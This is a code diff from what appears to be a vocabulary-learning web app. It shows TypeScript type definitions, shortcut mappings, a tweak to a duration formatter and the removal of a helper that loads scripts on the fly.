|
||||
nameList: string[],
|
||||
questions: {
|
||||
stem: string,
|
||||
options: string[],
|
||||
correctAnswer: string[],
|
||||
explanation: string
|
||||
}[]
|
||||
id?: number,
|
||||
title: string,
|
||||
titleTranslate: string,
|
||||
text: string,
|
||||
textTranslate: string,
|
||||
newWords: Word[],
|
||||
sections: Sentence[][],
|
||||
audioSrc: string,
|
||||
audioFileId: string,
|
||||
lrcPosition: number[][],
|
||||
nameList: string[],
|
||||
questions: {
|
||||
stem: string,
|
||||
options: string[],
|
||||
correctAnswer: string[],
|
||||
explanation: string
|
||||
}[]
|
||||
}
|
||||
|
||||
export interface Statistics {
|
||||
startDate: number,//开始日期
|
||||
spend: number,//花费时间
|
||||
total: number//单词数量
|
||||
new: number//新学单词数量
|
||||
review: number//复习单词数量
|
||||
wrong: number//错误数
|
||||
startDate: number,//开始日期
|
||||
spend: number,//花费时间
|
||||
total: number//单词数量
|
||||
new: number//新学单词数量
|
||||
review: number//复习单词数量
|
||||
wrong: number//错误数
|
||||
}
|
||||
|
||||
export enum Sort {
|
||||
normal = 0,
|
||||
random = 1,
|
||||
reverse = 2
|
||||
normal = 0,
|
||||
random = 1,
|
||||
reverse = 2,
|
||||
reverseAll = 3,
|
||||
randomAll = 4,
|
||||
}
|
||||
|
||||
export enum ShortcutKey {
|
||||
ShowWord = 'ShowWord',
|
||||
EditArticle = 'EditArticle',
|
||||
Next = 'Next',
|
||||
Previous = 'Previous',
|
||||
ToggleSimple = 'ToggleSimple',
|
||||
ToggleCollect = 'ToggleCollect',
|
||||
NextChapter = 'NextChapter',
|
||||
PreviousChapter = 'PreviousChapter',
|
||||
RepeatChapter = 'RepeatChapter',
|
||||
DictationChapter = 'DictationChapter',
|
||||
PlayWordPronunciation = 'PlayWordPronunciation',
|
||||
ToggleShowTranslate = 'ToggleShowTranslate',
|
||||
ToggleDictation = 'ToggleDictation',
|
||||
ToggleTheme = 'ToggleTheme',
|
||||
ToggleConciseMode = 'ToggleConciseMode',
|
||||
TogglePanel = 'TogglePanel',
|
||||
RandomWrite = 'RandomWrite',
|
||||
NextRandomWrite = 'NextRandomWrite',
|
||||
KnowWord = 'KnowWord',
|
||||
UnknownWord = 'UnknownWord',
|
||||
ShowWord = 'ShowWord',
|
||||
EditArticle = 'EditArticle',
|
||||
Next = 'Next',
|
||||
Previous = 'Previous',
|
||||
ToggleSimple = 'ToggleSimple',
|
||||
ToggleCollect = 'ToggleCollect',
|
||||
NextChapter = 'NextChapter',
|
||||
PreviousChapter = 'PreviousChapter',
|
||||
RepeatChapter = 'RepeatChapter',
|
||||
DictationChapter = 'DictationChapter',
|
||||
PlayWordPronunciation = 'PlayWordPronunciation',
|
||||
ToggleShowTranslate = 'ToggleShowTranslate',
|
||||
ToggleDictation = 'ToggleDictation',
|
||||
ToggleTheme = 'ToggleTheme',
|
||||
ToggleConciseMode = 'ToggleConciseMode',
|
||||
TogglePanel = 'TogglePanel',
|
||||
RandomWrite = 'RandomWrite',
|
||||
NextRandomWrite = 'NextRandomWrite',
|
||||
KnowWord = 'KnowWord',
|
||||
UnknownWord = 'UnknownWord',
|
||||
}
|
||||
|
||||
export const DefaultShortcutKeyMap = {
|
||||
[ShortcutKey.EditArticle]: 'Ctrl+E',
|
||||
[ShortcutKey.ShowWord]: 'Escape',
|
||||
[ShortcutKey.Previous]: 'Alt+⬅',
|
||||
[ShortcutKey.Next]: 'Tab',
|
||||
[ShortcutKey.ToggleSimple]: '`',
|
||||
[ShortcutKey.ToggleCollect]: 'Enter',
|
||||
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
|
||||
[ShortcutKey.NextChapter]: 'Ctrl+➡',
|
||||
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
|
||||
[ShortcutKey.DictationChapter]: 'Alt+Enter',
|
||||
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
|
||||
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
|
||||
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
|
||||
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
|
||||
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
|
||||
[ShortcutKey.TogglePanel]: 'Ctrl+L',
|
||||
[ShortcutKey.RandomWrite]: 'Ctrl+R',
|
||||
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
|
||||
[ShortcutKey.KnowWord]: '1',
|
||||
[ShortcutKey.UnknownWord]: '2',
|
||||
[ShortcutKey.EditArticle]: 'Ctrl+E',
|
||||
[ShortcutKey.ShowWord]: 'Escape',
|
||||
[ShortcutKey.Previous]: 'Alt+⬅',
|
||||
[ShortcutKey.Next]: 'Tab',
|
||||
[ShortcutKey.ToggleSimple]: '`',
|
||||
[ShortcutKey.ToggleCollect]: 'Enter',
|
||||
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
|
||||
[ShortcutKey.NextChapter]: 'Ctrl+➡',
|
||||
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
|
||||
[ShortcutKey.DictationChapter]: 'Alt+Enter',
|
||||
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
|
||||
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
|
||||
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
|
||||
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
|
||||
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
|
||||
[ShortcutKey.TogglePanel]: 'Ctrl+L',
|
||||
[ShortcutKey.RandomWrite]: 'Ctrl+R',
|
||||
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
|
||||
[ShortcutKey.KnowWord]: '1',
|
||||
[ShortcutKey.UnknownWord]: '2',
|
||||
}
|
||||
|
||||
export enum TranslateEngine {
|
||||
Baidu = 0,
|
||||
Baidu = 0,
|
||||
}
|
||||
|
||||
export type DictResource = {
|
||||
id: string
|
||||
name: string
|
||||
description: string
|
||||
url: string
|
||||
length: number
|
||||
category: string
|
||||
tags: string[]
|
||||
translateLanguage: TranslateLanguageType
|
||||
//todo 可以考虑删除了
|
||||
type?: DictType
|
||||
version?: number
|
||||
language: LanguageType
|
||||
id: string
|
||||
name: string
|
||||
description: string
|
||||
url: string
|
||||
length: number
|
||||
category: string
|
||||
tags: string[]
|
||||
translateLanguage: TranslateLanguageType
|
||||
//todo 可以考虑删除了
|
||||
type?: DictType
|
||||
version?: number
|
||||
language: LanguageType
|
||||
}
|
||||
|
||||
export interface Dict extends DictResource {
|
||||
lastLearnIndex: number,
|
||||
perDayStudyNumber: number,
|
||||
words: Word[],
|
||||
articles: Article[],
|
||||
statistics: Statistics[],
|
||||
custom: boolean,//是否是自定义词典
|
||||
complete: boolean,//是否学习完成,学完了设为true,然后lastLearnIndex重置
|
||||
//后端字段
|
||||
en_name?: string
|
||||
createdBy?: string
|
||||
category_id?: number
|
||||
is_default?: boolean
|
||||
update?: boolean
|
||||
cover?: string
|
||||
sync?: boolean
|
||||
lastLearnIndex: number,
|
||||
perDayStudyNumber: number,
|
||||
words: Word[],
|
||||
articles: Article[],
|
||||
statistics: Statistics[],
|
||||
custom: boolean,//是否是自定义词典
|
||||
complete: boolean,//是否学习完成,学完了设为true,然后lastLearnIndex重置
|
||||
//后端字段
|
||||
en_name?: string
|
||||
createdBy?: string
|
||||
category_id?: number
|
||||
is_default?: boolean
|
||||
update?: boolean
|
||||
cover?: string
|
||||
sync?: boolean
|
||||
userDictId?: number
|
||||
}
|
||||
|
||||
export interface ArticleItem {
|
||||
item: Article,
|
||||
index: number
|
||||
item: Article,
|
||||
index: number
|
||||
}
|
||||
|
||||
export const SlideType = {
|
||||
HORIZONTAL: 0,
|
||||
VERTICAL: 1,
|
||||
HORIZONTAL: 0,
|
||||
VERTICAL: 1,
|
||||
}
|
||||
|
||||
export interface PracticeData {
|
||||
index: number,
|
||||
words: Word[],
|
||||
wrongWords: Word[],
|
||||
excludeWords: string[],
|
||||
index: number,
|
||||
words: Word[],
|
||||
wrongWords: Word[],
|
||||
excludeWords: string[],
|
||||
}
|
||||
|
||||
export interface TaskWords {
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
shuffle: Word[],
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
shuffle: Word[],
|
||||
}
|
||||
|
||||
export class DictId {
|
||||
static wordCollect = 'wordCollect'
|
||||
static wordWrong = 'wordWrong'
|
||||
static wordKnown = 'wordKnown'
|
||||
static articleCollect = 'articleCollect'
|
||||
static wordCollect = 'wordCollect'
|
||||
static wordWrong = 'wordWrong'
|
||||
static wordKnown = 'wordKnown'
|
||||
static articleCollect = 'articleCollect'
|
||||
}
|
||||
|
||||
export enum PracticeArticleWordType {
|
||||
Symbol,
|
||||
Number,
|
||||
Word
|
||||
Symbol,
|
||||
Number,
|
||||
Word
|
||||
}
|
||||
|
||||
//练习模式
|
||||
export enum WordPracticeMode {
|
||||
System = 0,
|
||||
Free = 1
|
||||
System = 0,
|
||||
Free = 1
|
||||
}
|
||||
|
||||
//练习类型
|
||||
export enum WordPracticeType {
|
||||
FollowWrite,//跟写
|
||||
Spell,
|
||||
Identify,
|
||||
Listen,
|
||||
Dictation
|
||||
FollowWrite,//跟写
|
||||
Spell,
|
||||
Identify,
|
||||
Listen,
|
||||
Dictation
|
||||
}
|
||||
|
||||
export enum CodeType {
|
||||
Login = 0,
|
||||
Register = 1,
|
||||
ResetPwd = 2,
|
||||
ChangeEmail = 3,
|
||||
ChangePhoneNew = 4,
|
||||
ChangePhoneOld = 5
|
||||
Login = 0,
|
||||
Register = 1,
|
||||
ResetPwd = 2,
|
||||
ChangeEmail = 3,
|
||||
ChangePhoneNew = 4,
|
||||
ChangePhoneOld = 5
|
||||
}
|
||||
|
||||
export enum ImportStatus {
|
||||
Idle = 0,
|
||||
Success = 1,
|
||||
Fail = 2
|
||||
Idle = 0,
|
||||
Success = 1,
|
||||
Fail = 2
|
||||
}
|
||||
@@ -178,8 +178,10 @@ export function msToHourMinute(ms) {
|
||||
const d = dayjs.duration(ms);
|
||||
const hours = d.hours();
|
||||
const minutes = d.minutes();
|
||||
const seconds = d.seconds();
|
||||
if (hours) return `${hours}小时${minutes}分钟`;
|
||||
return `${minutes}分钟`;
|
||||
if (minutes) return `${minutes}分钟`;
|
||||
return `${seconds}秒`;
|
||||
}
|
||||
|
||||
export function msToMinute(ms) {
|
||||
@@ -473,23 +475,6 @@ export async function loadJsLib(key: string, url: string) {
|
||||
});
|
||||
}
|
||||
|
||||
export async function loadJsLib2(key: string, url: string, module: boolean = false) {
|
||||
if (window[key]) return window[key];
|
||||
return new Promise((resolve, reject) => {
|
||||
const script = document.createElement("script");
|
||||
if (module) {
|
||||
script.type = 'module'
|
||||
}
|
||||
script.src = url;
|
||||
script.onload = () => {
|
||||
console.log('key', key)
|
||||
resolve(window[key])
|
||||
};
|
||||
script.onerror = () => reject(key + ' 加载失败')
|
||||
document.head.appendChild(script);
|
||||
});
|
||||
}
|
||||
|
||||
export function total(arr, key) {
|
||||
return arr.reduce((a, b) => {
|
||||
a += b[key];
|
||||
@@ -521,4 +506,4 @@ export async function isNewUser() {
|
||||
|
||||
export function jump2Feedback() {
|
||||
window.open('https://v.wjx.cn/vm/ev0W7fv.aspx#', '_blank');
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user